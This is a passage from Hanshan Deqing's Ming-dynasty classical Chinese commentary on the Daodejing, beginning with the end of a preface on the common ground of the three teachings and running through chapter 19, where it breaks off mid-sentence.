為經世之大用、又何嘗忘世哉。至若佛、則體包虛空。用周沙界。隨類現身。乃曰、我於一切眾生身中成等正覺。又曰、度盡眾生、方成佛道。又曰、若能使一眾生發菩提心、寧使我身受地獄苦、亦不疲厭。然所化眾生、豈不在世間耶。既涉世度生、非經世而何。且為一人而不厭地獄之苦、豈非汲汲耶。若無一類而不現身、豈有一定之名耶。列子嘗云、西方有大聖人、不言而信、無為而化、是豈有心要為耶。是知三聖無我之體、利生之用、皆同。但用處大小不同耳。以孔子匡持世道、姑從一身以及家國、後及天下、故化止於中國。且要人人皆做堯舜、以所祖者堯舜也。老子因見當時人心澆薄、故思復太古、以所祖者軒黃也。故件件說話、不同尋常、因見得道大難容、故遠去流沙。若佛則教被三千世界、至廣至大、無所揀擇矣。若子思所讚聖人、乃曰、凡有血氣者、莫不尊親。是知孔子體用、未嘗不大、但局時勢耳。正是隨機之法、故切近人情、此體用之辯也。惜乎後世學者、各束於教。習儒者拘。習老者狂。學佛者隘。此學者之弊、皆執我之害也。果能力破我執、則剖破藩籬、即大家矣。\n愚嘗竊謂孔聖若不知老子、決不快活。若不知佛、決不柰煩。老子若不知孔、決不口口說無為而治。若不知佛、決不能以慈悲為寶。佛若不經世、決不在世間教化眾生。愚意孔老、即佛之化身也。後世學佛之徒、若不知老、則直管往虛空裏看將去。目前法法都是障礙、事事不得解脫。若不知孔子、單單將佛法去涉世、決不知世道人情、逢人便說玄妙。如賣死貓頭、一毫沒用處。故祖師亦云、說法不投機、終是閒言語。所以華嚴經云或邊地語說四諦、此佛說法未嘗單誇玄妙也。然隨俗以度生、豈非孔子經世之心乎。又經云、五地聖人。涉世度生、世間一切經書技藝、醫方雜論、圖書印璽種種諸法、靡不該練、方能隨機。故曰、世諦語言資生之業、皆順正法。故儒以仁為本、釋以戒為本。若曰、孝悌為仁之本、與佛孝名為戒。其實一也。以此觀之佛豈絕無經世之法乎。由孔子攘夷狄、故教獨行於中國。佛隨邊地語說四諦、故夷狄皆從其化。此所以用有大小不同耳。是知三教聖人所同者心、所異者跡也。以跡求心、則如蠡測海。以心融跡、則似芥含空。心跡相忘、則萬派朝宗、百川一味。\n明建鄴憨山道者德清著道、可道、非常道。名、可名、非常名。無名、天地之始。有名、萬物之母。故常無、欲以觀其妙。常有、欲以觀其徼。此兩者同、出而異名、同謂之玄。玄之又玄、眾妙之門。\n【註】此章總言道之體用,及入道工夫也。老氏之學,盡在於此。其五千餘言,所敷演者,唯演此一章而已。所言道,乃真常之道。可道之道,猶言也。意謂真常之道,本無相無名,不可言說。凡可言者,則非真常之道矣,故非常道。且道本無名,今既強名曰道,是則凡可名者,皆假名耳,故非常名。此二句,言道之體也。然無相無名之道,其體至虛,天地皆從此中變化而出,故為天地之始。斯則無相無名之道體,全成有相有名之天地,而萬物盡從天地陰陽造化而生成。此所謂一生二,二生三,三生萬物,故為萬物之母。此二句,言道之用也。此下二句,乃入道之工夫。常,猶尋常也。欲,猶要也。老子謂,我尋常日用安心於無,要以觀其道之妙處。我尋常日用安心於有,要以觀其道之徼處。徼,猶邊際也。意謂全虛無之道體,既全成了有名之萬物。是則物物皆道之全體所在,正謂一物一太極。是則只在日用目前,事事物物上,就要見道之實際,所遇無往而非道之所在。故莊子曰,道在稊稗,道在屎尿。如此深觀,纔見道之妙處。此二觀字最要緊。此兩者同已下,乃釋疑顯妙。老子因上說觀無觀有,恐學人把有無二字看做兩邊,故釋之曰,此兩者同。意謂我觀無,不是單單觀無。以觀虛無體中,而含有造化生物之妙。我觀有,不是單單觀有。以觀萬物象上,而全是虛無妙道之理。是則有無並觀,同是一體,故曰,此兩者同。恐人又疑兩者既同,如何又立有無之名,故釋之曰,出而異名。意謂虛無道體,既生出有形天地萬物。而有不能生有,必因無以生有。無不自無,因有以顯無。此乃有無相生,故二名不一,故曰,出而異名。至此恐人又疑既是有無對待,則不成一體,如何謂之妙道,故釋之曰,同謂之玄。斯則天地同根,萬物一體。深觀至此,豈不妙哉。老子又恐學人工夫到此,不能滌除玄覽,故又遣之曰,玄之又玄。意謂雖是有無同觀,若不忘心忘跡,雖妙不妙。殊不知大道體中,不但絕有無之名,抑且離玄妙之跡,故曰,玄之又玄。工夫到此,忘懷泯物,無往而不妙,故曰,眾妙之門。斯乃造道之極也。似此一段工夫,豈可以區區文字者也之乎而盡之哉。此愚所謂須是靜工純熟,方見此中之妙耳。\n天下皆知美之為美、斯惡已。皆知善之為善、斯不善已。故有無相生、難易相成、長短相形、高下相傾、音聲相和、前後相隨。是以聖人處無為之事、行不言之教。萬物作焉而不辭、生而不有、為而不恃、功成而不居。夫惟不居、是以不去。\n【註】此釋前章可名非常名,以明世人居有為之跡,虛名不足尚。聖人處無為之道以御世,功不朽而真名常存之意也。意謂天下事物之理,若以大道而觀,本無美與不美,善與不善之跡。良由人不知道,而起分別取捨好尚之心,故有美惡之名耳。然天下之人,但知適己意者為美。殊不知在我以為美,自彼觀之,則又為不美矣。譬如西施顰美,東施愛而效之,其醜益甚。此所謂知美之為美,斯惡已。惡,醜也。又如比干,天下皆知為賢善也,紂執而殺之。後世效之以為忠,殺身而不悔。此所謂知善之為善,斯不善已。此皆尚名之過也。是則善惡之名,因對待而有。故名則有無相生,事則難易相成,物則長短相形,位則高下相傾,言則音聲相和,行則前後相隨,此乃必然之勢。譬如世人以尺為長,以寸為短。假若積寸多於尺,則又名寸為長,而尺為短矣。凡物皆然,斯皆有為之跡耳。凡可名者,皆可去。此所謂名可名,非常名也。是以聖人知虛名之不足尚,故處無為之道以應事。知多言之不可用,故行不言之教以化民。如天地以無心而生物,即萬物皆往資焉,不以物多而故辭。雖生成萬物,而不以萬物為己有。雖能生物,而不自恃其能。且四時推移,雖有成物之功,功成而不居。夫惟不居其功,故至功不朽。不尚其名,故真名常存。聖人處無為之道,亦由是也。蓋萬物作焉已下,皆是說天地之德,以比聖人之德。文意雙關,莊子釋此意極多。\n不尚賢、使民不爭。不貴難得之貨、使民不為盜。不見可欲、使心不亂。是以聖人之治、虛其心、實其腹、弱其志、強其骨。常使民無知無欲、使夫知者不敢為也。為無為、則無不治。\n【註】此言世人競有為之跡,尚名好利嗜欲之害,教君人者治之之方。以釋上章處無為之事,行不言之教之實效也。蓋尚賢,好名也。名,爭之端也。故曰爭名於朝。若上不好名,則民自然不爭。貴難得之貨,好利也。利,盜之招也。若上不好利,則民自然不為盜。故曰苟子之不欲,雖賞之不竊。所以好名好利者,因見名利之可欲也,故動亂其心以爭競之。若在上者苟不見名利有可欲,則民亦各安其志,而心不亂矣。故曰不見可欲,使心不亂。然利,假物也。人以隋珠為重寶,以之投雀,則飛而去之。色,妖態也。人以西施為美色,麋鹿則見而驟之。名,虛聲也。人以崇高為貴名,許由則避而遠之。食,爽味也。人以太牢為珍羞,海鳥則觴而悲之。是則財色名食,本無可欲。而人欲之者,蓋由人心妄想思慮之過也。是以聖人之治,教人先斷妄想思慮之心,此則拔本塞源,故曰虛其心。然後使民安飽自足,心無外慕,故曰實其腹。然而人心剛強好爭者,蓋因外物誘之,而起奔競之志也。故小人雞鳴而起,孳孳為利,君子雞鳴而起,孳孳為名,此強志也。然民既安飽自足,而在上者則以清淨自正。不可以聲色貨利外誘民心,則民自絕貪求,不起奔競之志,其志自弱,故曰弱其志。民既無求,則使之以鑿井而飲,耕田而食,自食其力,故曰強其骨。如此則常使民不識不知,而全不知聲色貨利之可欲,而自然無欲矣。故曰常使民無知無欲。縱然間有一二黠滑之徒,雖知功利之可欲,亦不敢有妄為攘奪之心矣,故曰使夫知者不敢為也。如上所言,乃不言之教,無為之事也。人君苟能體此而行以治天下,則天下無不治者矣。故結之曰,為無為,則無不治。老子文法極古,然察其微意,蓋多述古。或述其行事,或述其文辭,似此為無為則無不治,乃述上古聖人之行事者。至若是謂等語,皆引古語以證今意,或以己意而釋古語者。且其文法機軸,全在結句,是一篇主意。蓋結句,即題目也。讀者知此,則思過半矣。至其句法,有一字一句,二字一句,三字一句者極多。人不知此,都連牽讀去,不但不得老子立言之妙。而亦不知文章之妙也。\n道沖、而用之或不盈。淵兮、似萬物之宗。挫其銳。解其紛。和其光。同其塵。湛兮、似或存。吾不知誰之子。象帝之先。\n【註】此讚道之體用微妙,而不可測知也。沖,虛也。盈,充滿也。淵,靜深不動也。宗,猶依歸也。謂道體至虛,其實充滿天地萬物。但無形而不可見,故曰用之或不盈。道體淵深寂漠,其實能發育萬物,而為萬物所依歸。但生而不有,為而不宰,故曰似萬物之宗。或,似,皆不定之辭。老子恐人將言語為實,不肯離言體道,故以此等疑辭以遣其執耳。銳,即剛勇精銳。謂人剛銳之志,勇銳之氣,精銳之智,此皆無物可挫。唯有道者能挫之,故曰挫其銳。如子房之博浪,其剛勇可知。大索天下而不得,其精銳可知。此其無可挫之者,唯見挫於圯上老人一草履耳。由子房得此而進之於漢,卒以無事取天下。吾意自莊周以下,而功名之士,得老氏之精者,唯子房一人而已。以此較之,周善體而良善用,方朔得之,則流為詭矣。其他何足以知之。紛,謂是非紛擾。即百氏眾口之辯也。然各是其是,各非其非,此皆無人解之者。唯有道者,以不言之辯而解之。所謂大辯若訥。以道本無言,而是非自泯,故曰解其紛。和,混融也。光,智識衒耀於外。即所謂飾智驚愚,修身明汙者,是也。唯有道者,韜光內照,光而不耀。所謂眾人昭昭,我獨若昏。眾人察察,我獨悶悶。故曰和其光。與俗混一而不分。正謂呼我以牛,以牛應之。呼我以馬,以馬應之。故曰同其塵。然其道妙用如此,變化無方。而其體則湛然不動,雖用而無跡。故曰湛兮或存。要妙如此,而不知其所從來。故曰吾不知誰之子。且而不是有形之物,或象帝之先耶。帝,即天帝。象,或似也。愚謂此章讚道體用之妙,且兼人而釋者。蓋老子凡言道妙,全是述自己胸中受用境界。故愚亦兼人而解之。欲學者知此,可以體認做工夫。方見老子妙處。宇宇皆有指歸,庶不肖虛無孟浪之談也。\n天地不仁、以萬物為芻狗。聖人不仁、以百姓為芻狗。天地之間、其猶橐籥乎。虛而不屈、動而愈出。多言數窮、不如守中。\n【註】此言天地之道,以無心而成物。聖人之道,以忘言而體玄也。仁,好生愛物之心。芻狗,乃縛芻為狗,以用祭祀者。且天地聖人,皆有好生愛物之仁。而今言不仁者,謂天地雖是生育萬物,不是有心要生。蓋由一氣當生,不得不生。故雖生而不有。譬如芻狗,本無用之物。而祭者當用,不得不用。雖用而本非有也。故曰天地不仁,以萬物為芻狗。聖人雖是愛養百姓,不是有心要愛。蓋由同體當愛,不得不愛。雖愛而無心。譬如芻狗,雖虛假之物。而尸之者當重,不得不重。雖重而知終無用也。故曰聖人不仁,以百姓為芻狗。猶,似也。橐,即皮韝。乃鼓風鑄物之器。籥,即管籥。乃承氣出音之器。屈,枉己從人之意。動,猶感觸也。謂橐籥二物,其體至虛而有用,未嘗恃巧而好為。故用不為伸,不用則虛以自處,置之而亦不自以為屈,故曰虛而不屈。且人不用則已。若用之,則觸動其機,任其造作而不休,故曰動而愈出。然道在天地,則生生而不已。道在聖人,則既已為人己愈有,既已與人己愈多。大道之妙如此。惜乎談道者,不知虛無自然之妙。方且眾口之辯說,說而不休,去道轉遠,故曰多言數窮。不若忘言以體玄,故曰不若守中。蓋守中,即進道之功夫也。\n谷神不死、是謂玄牝。玄牝之門、是謂天地根。綿綿若存。用之不勤。\n【註】此言道體常存,以釋上章虛而不屈,動而愈出之意也。谷,虛而能應者。以譬道體至虛,靈妙而不可測,亙古今而長存,故曰谷神不死。且能生天生地,萬物生生而不已,故曰是謂玄牝。牝,物之雌者。即所謂萬物之母也。門,即出入之樞機。謂道為樞機,萬物皆出於機,入於機。故曰玄牝之門,是謂天地根。綿,幽綿不絕之意。謂此道體至幽至微,綿綿而不絕,故曰若存。愈動而愈出,用之不竭,故曰不勤。凡有心要作,謂之勤。蓋道體至虛,無心而應用,故不勤耳。\n天長。地久。天地所以長且久者、以其不自生、故能長生。是以聖人後其身而身先。外其身而身存。非以其無私耶。故能成其私。\n【註】此言天地以不生故長生,以比聖人忘身故身存也。意謂世人各圖一己之私,以為長久計。殊不知有我之私者,皆不能長久也。何物長久,唯天地長久。然天地所以長久者,以其不自私其生,故能長生。其次則聖人長久,是以聖人體天地之德,不私其身以先人,故人樂推而不厭。故曰後其身而身先。聖人不愛身以喪道,故身死而道存。道存則千古如生,即身存也。故曰外其身而身存。老子言此,乃審問之曰,此豈不是聖人以無私而返成其私耶。且世人營營為一身之謀,欲作千秋之計者,身死而名滅。是雖私,不能成其私,何長久之有。\n上善若水。水善、利萬物而不爭。處眾人之所惡、故幾於道矣。居善地。心善淵。與善仁。言善信。政善治。事善能。動善時。夫惟不爭、故無尤。\n【註】此言不爭之德,無往而不善也。上,最上。謂謙虛不爭之德最為上善,譬如水也,故曰上善若水。水之善,妙在利萬物而不爭。不爭,謂隨方就圓,無可不可,唯處於下。然世人皆好高而惡下。唯聖人處之。故曰處眾人之惡,故幾於道。幾,近也。由聖人處謙下不爭之德,故無往而不善。居則止於至善,故曰善地。心則淵靜深默,無往而不定,故曰善淵。與,猶相與。謂與物相與,無往而非仁愛之心,故曰與善仁。言無不誠,故曰善信。為政不爭,則行其所無事,故曰善治。為事不爭,則事無不理,故曰善能。不爭,則用捨隨時,迫不得已而後動,故曰善時。不爭之德如此,則無人怨,無鬼責。故曰夫惟不爭,故無尤矣。\n持而盈之、不如其已。揣而銳之、不可長保。金玉滿堂、莫之能守。富貴而驕、自遺其咎。功成名遂身退、天之道。\n【註】此言知進而不知退者之害,誡人當知止可也。持而盈之不如其已者,謂世人自恃有持滿之術,故貪位慕祿進進而不已。老子意謂雖是能持,不若放下休歇為高,故不如其已。倘一旦禍及其身,悔之不及。即若李斯臨刑,顧謂其子曰,吾欲與若復牽黃犬,出上蔡東門逐狡兔,豈可得乎。此蓋恃善持其盈而不已者之驗也。故云知足常足,終身不辱,知止常止,終身不恥,此之謂也。揣而銳之,不可長保者。揣,揣摩。銳,精其智思。如蘇張善揣摩之術者是也。謂世人以智巧自處,恃其善於揣摩,而更益其精銳之思,用智以取功名,進進而不已。老子謂雖是善能揣摩,畢竟不可長保。如蘇張縱橫之術,彼此相詐,不旋踵而身死名滅,此蓋揣銳之驗也。如此不知止足之人,貪心無厭。縱得金玉滿堂,而身死財散,故曰莫之能守。縱然位極人臣,而驕泰以取禍,乃自遺其咎。此蓋知進不知退者之害也。人殊不知天道惡盈而好謙。獨不見四時乎,成功者退。人若功成名遂而身退,此乃得天之道也。\n載營魄、抱一能無離乎。專氣致柔、能如嬰兒乎。滌除玄覽、能無疵乎。愛民治國、能無為乎。天門開闔、能無雌乎。明白四達、能無知乎。生之、畜之、生而不有、為而不恃、長而不宰、是謂玄德。\n【註】此章教人以造道之方,必至忘知絕跡,然後方契玄妙之德也。載,乘也。營,舊註為魂。楚辭云,魂識路之營營,蓋營營,猶言惺惺,擾動貌。然魂動而魄靜,人乘此魂魄而有思慮妄想之心者。故動則乘魂,營營而亂想。靜則乘魄,昧昧而昏沈。是皆不能抱一也。故楞嚴曰,精神魂魄,遞相離合,是也。今抱一者,謂魂魄兩載,使合而不離也。魂與魄合,則動而常靜,雖惺惺而不亂想。魄與魂合,則靜而常動,雖寂寂而不昏沈。道若如此,常常抱一而不離,則動靜不異,寤寐一如。老子審問學者做工夫能如此。乎者,責問之辭。專氣致柔。專,如專城之專。謂制也。然人賴氣而有生。以妄有緣氣,於中積聚,假名為心。氣隨心行,故心妄動則氣益剛。氣剛而心益動。所謂氣壹則動志。學道工夫,先制其氣不使妄動以薰心,制其心不使妄動以鼓氣,心靜而氣自調柔。工夫到此,則怒出於不怒矣。如嬰兒號而不嗄也。故老子審問其人之工夫能如此乎。滌除玄覽。玄覽者,謂前抱一專氣工夫,做到純熟,自得玄妙之境也。若將此境覽在胸中,執之而不化,則返為至道之病。只須將此亦須洗滌,淨盡無餘,以至於忘心絕跡,方為造道之極。老子審問能如此乎。此三句,乃入道工夫,得道之體也。老子意謂道體雖是精明,不知用上何如,若在用上無跡,方為道妙。故向下審問其用。然愛民治國,乃道之緒餘也。所謂道之真以治身,其緒餘土苴以為天下國家。故聖人有天下而不與。愛民治國,可無為而治。老子審問能無為乎。若不能無為,還是不能忘跡,雖妙而不妙也。天門,指天機而言。開闔,猶言出入應用之意。雌,物之陰者。蓋陽施而陰受,乃留藏之意。蓋門有虛通出入之意。而人心之虛靈,所以應事接物,莫不由此天機發動。蓋常人應物,由心不虛,凡事有所留藏,故心日茆塞。莊子謂室無空虛,則婦姑勃蹊。心無天遊,則六鑿相攘。此言心不虛也。然聖人用心如鏡,不將不迎,來無所粘,去無蹤跡。所謂應而不藏。此所謂天門開闔而無雌也。老子審問做工夫者能如此乎。明白四達,謂智無不燭也。然常人有智,則用智於外,衒耀見聞。聖人智包天地,而不自有其知。謂含光內照。故曰明白四達而無知。老子問人能如此乎。然而學道工夫做到如此,體用兩全,形神俱妙,可謂造道之極。其德至妙,可以合乎天地之德矣。且天地之德,生之畜之。雖生而不有,雖為而不恃,雖長而不宰,聖人之德如此,可謂玄妙之德矣。\n三十輻共一轂。當其無、有車之用。埏埴以為器。當其無、有器之用。鑿戶牖以為室。當其無、有室之用。故有之以為利、無之以為用。\n【註】此言向世人但知有用之用,而不知無用之用也。意謂人人皆知車轂有用,而不知用在轂中一竅。人人皆知器之有用,而不知用在器中之虛。人人皆知室之有用,而不知用在室中之空。以此為譬,譬如天地有形也,人皆知天地有用,而不知用在虛無大道。亦似人之有形,而人皆知人有用,而不知用在虛靈無相之心。是知有雖有用,而實用在無也。然無不能自用,須賴有以濟之。故曰有之以為利,無之以為用。利,猶濟也。老氏之學,要即有以觀無。若即有以觀無,則雖有而不有。是謂道妙。此其宗也。\n五色、令人目盲。五音、令人耳聾。五味、令人口爽。馳騁田獵、令人心發狂。難得之貨、令人行妨。是以聖人為腹不為目。故去彼取此。\n【註】此言物欲之害,教人離欲之行也。意謂人心本自虛明,而外之聲色飲食貨利,亦本無可欲。人以為可欲而貪愛之。故眼則流逸奔色,而失其正見,故盲。耳則流逸奔聲,而失其真聞,故聾。舌則流逸奔味,而失其真味,故爽。心則流逸奔境,而失其正定,故發狂。行則逐於貨利,而失其正操,故有妨。所謂利令智昏,是皆以物欲喪心,貪得而無厭者也。聖人知物欲之為害。雖居五欲之中,而修離欲之行,知量知足。如偃鼠飲河,不過實腹而已。不多貪求以縱耳目之觀也。諺語有之,羅綺千箱,不過一暖,食前方丈,不過一飽,其餘皆為榮觀而已。故云雖有榮觀,燕處超然,是以聖人為腹不為目。去貪欲之害,而修離欲之行,故去彼取此。\n寵、辱、若驚。貴、大患、若身。何謂寵辱若驚、寵為下、得之若驚、失之若驚、是謂寵辱若驚。何謂貴大患若身、吾所以有大患者、為吾有身。及吾無身、吾有何患。故貴以身為天下、則可寄於天下。愛以身為天下、乃可託於天下。\n【註】此言名利之大害,教人重道忘身以袪累也。寵辱若驚者,望外之榮曰寵。謂世人皆以寵為榮,卻不知寵乃是辱。以其若驚。驚,心不安貌。貴大患若身者,崇高之位曰貴,即君相之位。謂世人皆以貴為樂,卻不知貴乃大患之若身。以身喻貴,謂身為苦本,貴為禍根,言必不可免也。此二句立定,向下徵而釋之曰,何謂寵是辱之若驚耶。寵為下,謂寵乃下賤之事耳。譬如僻倖之人,君愛之以為寵也。雖卮酒臠肉必賜之。非此,不見其為寵。及其賜也,必叩頭而噉之。將以為寵。彼無寵者,則傲然而立。以此較之,雖寵實乃辱之甚也。豈非下耶。故曰寵為下。且而未得之也,患得之。既得之也,患失之。是則競競得失於眉睫之間,其心未嘗暫自安。由此觀之,何榮之有。故曰得之若驚,失之若驚。此其所以寵是辱也。貴大患若身者,是以身之患,喻貴之患也。然身,乃眾患之本。既有此身,則飢寒病苦,死生大患,眾苦皆歸,必不可免。故曰吾所以有大患者,為吾有身。無身,則無患矣。故曰及吾無身,吾有何患。然位,乃禍之基也。既有此位,則是非交謫,冰炭攻心,眾毀齊至,內則殘生傷性以滅身,外則致寇招尤以取禍,必不可逃。故曰吾所以有大患者,為吾有貴。無貴,則無患矣。故曰貴大患若身。筆乘引王子搜,非惡為君也,惡為君之患也。蓋言貴為君人之患。莊子曰,千金重利,卿相尊位也。子獨不見郊祀之犧牛乎。養食之數歲,衣以文繡,以入太廟。當是之時,雖欲為狐豚,豈可得乎。斯言貴為卿相者之患。老子言苟知身為大患不可免。則知貴為大患,亦不可免也。然且世人不知貴為大患,返以為榮。愛身取貴,以致終身之累。皆非有道之所為也。唯有道者,不得已而臨蒞天下,不以為己顯。雖處其位,但思道濟蒼生,不以為己榮。此則貴為天下貴,非一己之貴。如此之人,乃可寄之以天下之任。然有道者,處崇高之位,雖愛其身,不是貪位慕祿以自保。實所謂衛生存身以行道。是則愛身,乃為天下愛其身,非私愛一己之身。如此之人,乃可託以天下之權。若以此為君,則無為而治。以此為臣,則功大名顯。故道為天下貴也。故日貴以身為天下,則可寄於天下。愛以身為天下,乃可託於天下。\n視之不見、名曰夷。聽之不聞、名曰希。搏之不得、名曰微。此三者、不可致詰。故混而為一。其上不皦。其下不昧。繩繩兮、不可名。復歸於無物。是謂為無狀之狀。無象之象。是謂惚恍。迎之不見其首。隨之不見其後。執古之道、以御今之有。能知古始。是謂道紀。\n【註】此言大道體虛,超乎聲色名相思議之表,聖人執此以御世也。夷,無色也。故視之不可見。希,無聲也。故聽之不可聞。微,無相也。故搏之不可得。搏,取之也。此三者,雖有此名,其實不可致詰。致詰,猶言思議。由其道體混融而不可分,故為一。其上日月不足以增其明,故不皦。皦,明也,其下幽暗不能以昏其禮,故不昧。繩繩,猶綿綿不絕之意。謂道體雖綿綿不絕,其實不可名言。畢竟至虛,雖生而不有,故復歸於無物。杳冥之內,而至精存焉,故曰無狀之狀。恍惚之中,而似有物焉,故曰無象之象,是謂惚恍。此正楞嚴所謂罔象虛無,微細精想耳。由其此體,前觀無始,故迎之不見其首。後觀無終,故隨之不見其後。此乃古始之道也。上皆歷言大道之妙,下言得道之人。然聖人所以為聖人者,蓋執此妙道以御世。故曰執古之道,以御今之有。吾人有能知此古始之道者,即是道統所係也。故曰能知古始,是謂道紀。紀,綱紀。謂統緒也。\n古之善為士者、微妙玄通、深不可識。夫惟不可識。故強為之容。豫若冬涉川。猶若畏四鄰。儼若客。渙若冰將釋。敦兮、其若樸。曠兮、其若谷。渾兮、其若濁。孰能濁以靜之徐清。孰能安以久之徐生。保此道者不欲盈。夫惟不盈、故能敝不新成。\n【註】此言聖人體道深玄,故形神俱妙。人能靜定虛心,則故有常存也。莊子謂嗜欲深者天機淺。蓋今世俗之人,以利欲熏心。故形氣穢濁麤鄙,固執而不化。不得微妙玄通。故天機淺露,極為易見,殆非有道氣象。皆是不善為士也。老子因謂古之善為士者,不淺露易見。乃微妙玄通,深不可識。夫為不可識,最難形容。特強為之形容耳。然形容其行動也。豫若冬涉川。猶若畏四鄰。猶豫,行不進貌。冬涉川,謂不敢遽進。畏四鄰,謂不敢妄動。此乃從容不迫之意。其威儀也,儼若客。儼,謂肅然可觀。若客,謂謙退不敢直前。其氣也,渙若冰將釋。莊子謂暖然似春。又云冰解凍釋。謂其氣融和,使可親愛之意。其外貌也,敦兮其若樸。敦,敦厚。樸,無文飾也。其中心也,曠兮其若谷。曠,空也。谷,虛也。外體敦厚樸素,而中心空虛寂定也。其跡也,渾兮其若濁。渾,與混同。謂和光同塵也。蓋有道之士,心空無著。故行動威儀,氣象體段,胸次悠然,微妙玄通之若此。所謂孔德之容,惟道是從。故可觀而不可識。世俗之人,以功名利祿交錯於前,故形氣穢濁,而不可觀。老子因而愍之曰,孰能於此濁亂之中,恬退自養,靜定持心,久久而徐清之耶。蓋心水汨昏,以靜定治之,則清。所謂如澄濁水,沙土自沈,清水現前,名為初伏客塵煩惱。不能頓了,故曰徐清。人皆競進於功利之間。老子謂孰能安定自守,久久待時而後生耶。生,乃發動。謂應用也。即聖人迫不得已而後應之意。筆乘謂老子文法多什韻。蓋清,生,盈,成,一韻耳。若言徐動,徐應,則不什矣。老子嗟歎至此,乃教之以守道之方,曰,保此道者不欲盈。盈,滿也。欲盈,乃貪得無厭,不知止足之意。謂世人但知汨汨於嗜欲,貪得不足。殊不知天道忌盈,滿則溢矣。所謂持而盈之,不如其已。故此教之以不欲盈也。後乃結示知足常足之意,曰,夫惟不盈,是以能敝不新成,故敝。物之舊者謂之敝。凡物舊者,最持久,能奈風霜磨折。而新成者,雖一時鮮明,不久便見損壞。老子謂世人多貪好盈,雖一時榮觀快意,一旦禍及,則連本有皆失之矣。惟有道者,善知止足。雖無新成之名利,而在我故有現成之物,則可常常持之而不失矣。故曰能敝不新成。觀子房請留辟穀之事,可謂能敝不新成者。此余所謂子房得老之用也。\n致虛、極。守靜、篤。萬物並作、吾以觀其復。夫物芸芸、各歸其根。歸根曰靜。靜曰復命。復命曰常。知常曰明。不知常、妄作凶。知常容。容乃公。公乃王。王乃天。天乃道。道乃久。沒身不殆。\n【註】此承上章要人作靜定功夫,此示功夫之方法也。致虛極守靜篤者。致,謂推致推窮之意。虛,謂外物本來不有。靜,謂心體本來不動。世人不知外物本來不有,而妄以為實。故逐物牽心,其心擾擾妄動,火馳而不返。見利亡形,見得亡真,故競進而不休,所以不能保此道也。今學道工夫,先要推窮目前萬物,本來不有。則一切聲色貨利,當體全是虛假不實之事。如此推窮,縱有亦無。一切既是虛假,則全不見有可欲之相。既不見可欲,則心自然不亂。而永絕貪求,心閒無事。如此守靜,可謂篤矣。故致虛要極,守靜要篤也。老子既勉人如此做工夫,恐人不信。乃自出己意曰,我之工夫亦無他術,唯只是萬物並作,吾以觀其復,如此而已。並作,猶言並列於前也。然目前萬物本來不有,蓋從無以生有。雖千態萬狀,並列於前,我只觀得當體全無。故曰萬物並作,吾以觀其復。復,謂心不妄動也。向下又自解之曰,夫物芸芸,各歸其根。意謂目前萬物雖是暫有,畢竟歸無,故云各歸其根。根,謂根本元無也。物既本無,則心亦不有。是則物我兩忘,寂然不動。故曰歸根曰靜,靜曰復命。命,乃當人之自性,賴而有生者。然人雖有形,而形本無形。能見無形,則不獨忘世,抑且忘身。身世兩忘,則自復矣。故云靜曰復命。性,乃真常之道也。故云復命曰常。人能返觀內照,知此真常妙性,纔謂之明。故云知常曰明。由人不知此性,故逐物妄生,貪欲無厭。以取戕生傷性亡身敗家之禍。故曰不知常,妄作凶。人若知此真常之道,則天地同根,萬物一體,此心自然包含天地萬物。故曰知常容。人心苟能廣大如此,則民吾同胞,物吾與也。其心廓然大公,則全不見有我之私。故曰容乃公。此真常大道,人若得之於內,則為聖。施之於外,則為王。故曰公乃王。王乃法天行事,合乎天心。故曰王乃天。天法道,合乎自然。故曰天乃道。與天地參。故曰道乃久。人得此道,則身雖死而道常存。故曰沒身不殆。殆,盡也。且此真常之道,備在於我。而人不知,返乃亡身殉物,嗜欲而不返,豈不謬哉。\n太上下、知有之。其次親之、譽之。其次畏之。其次侮之。故信不足焉、有不信。猶兮其貴言。功成事遂。百姓皆曰我自然。\n【註】此言上古無知無識,故不言而信。其次有知有識,故欺偽日生。老子因見世道日衰,想復太古之治也。大上下知有之者,謂上古洪荒之世,其民渾然無偽,與道為一,全不知有。既而混沌日鑿,與道為二,故知有之。是時雖知有,猶未離道,故知而不親。其世再下,民去道漸疏,始有親之之意。是時雖知道之可親,但親於道,而人欲未流,尚無是非毀譽之事。其世再下,而人欲橫流,盜賊之行日生。故有桀跖之非毀,堯舜之是譽。是時雖譽,猶且自信而不畏。其世再下,而人欲固蔽,去道益遠,而人皆畏道之難親。故孔子十五而志於學,至七十而方從心。即顏子好學,不過三月不違仁,其餘則日月至焉。可見為道之難,而人多畏難而苟安也。是時雖畏,猶知道之不敢輕侮。其世再下,則人皆畔道而行。但以功名利祿為重,全然不信有此道矣。老子言及至此,乃歎之曰,此無他,蓋由在上者自信此道不足,故在下者不信之耳。然民既已不信矣,而在上者,就當身體力行無為之道,以啟民信。清淨自正,杜民盜賊之心,可也。不能如此,見民奸盜日作,猶且多彰法令,禁民為非。而責之以道德仁義為重,愈責愈不信矣,豈不謬哉。故曰猶兮其貴言。貴,重也。此上乃歷言世道愈流愈下。此下乃想復太古無為之治。曰,斯皆有為之害也。安得太古無為之治,不言而信,無為而成。使其百姓日出而作,日入而息,鑿井而飲,耕田而食。人人功成事遂,而皆曰我自然耶。蓋老氏之學,以內聖外王為主。故其言多責為君人者,不能清靜自正,啟民盜賊之心。苟能體而行之,真可復太古之治。\n大道廢、有仁義。智慧出、有大偽。六親不和、有孝慈。國家昏亂、有忠臣。\n【註】此承上章言世道愈流愈下,以釋其次親之譽之之意也。大道無心愛物,而物物各得其所。仁義則有心愛物,即有親疏區別之分。故曰大道廢,有仁義。智慧,謂聖人治天下之智巧。即禮樂權衡斗斛法令之事。然上古不識不知,而民自樸素。及乎中古,民情日鑿。而治天下者,乃以智巧設法以治之。殊不知智巧一出,而民則因法作奸。故曰智慧出,有大偽。上古雖無孝慈之名,而父子之情自足。及乎衰世之道,為父不慈者眾,故立慈以規天下之父。為子不孝者眾,以立孝以教天下之子。是則孝慈之名,因六親不和而後有也。蓋忠臣以諫人主得名。上古之世,君道無為而天下自治。臣道未嘗不忠,而亦未嘗以忠立名。及乎衰世,人君荒淫無度,雖有為而不足以治天下。故臣有殺身諫諍,不足以盡其忠者。是則忠臣之名,因國家昏亂而有也。此老子因見世道衰微,思復太古之治,殆非憤世勵俗之談也。\n絕聖棄智、民利百倍。絕仁棄義、民復孝慈。絕巧棄智、盜賊無有。此三者以為文不足。故令有所屬。見素抱樸。少思寡欲。\n【註】此承前章而言智不可用,亦不足以治天下也。然中古聖人,將謂百姓不利,乃為斗斛權衡符璽仁義之事,將利於民,此所謂聖人之智巧矣。殊不知民情日鑿,因法作奸。就以斗斛權衡符璽仁義之事,竊以為亂。方今若求復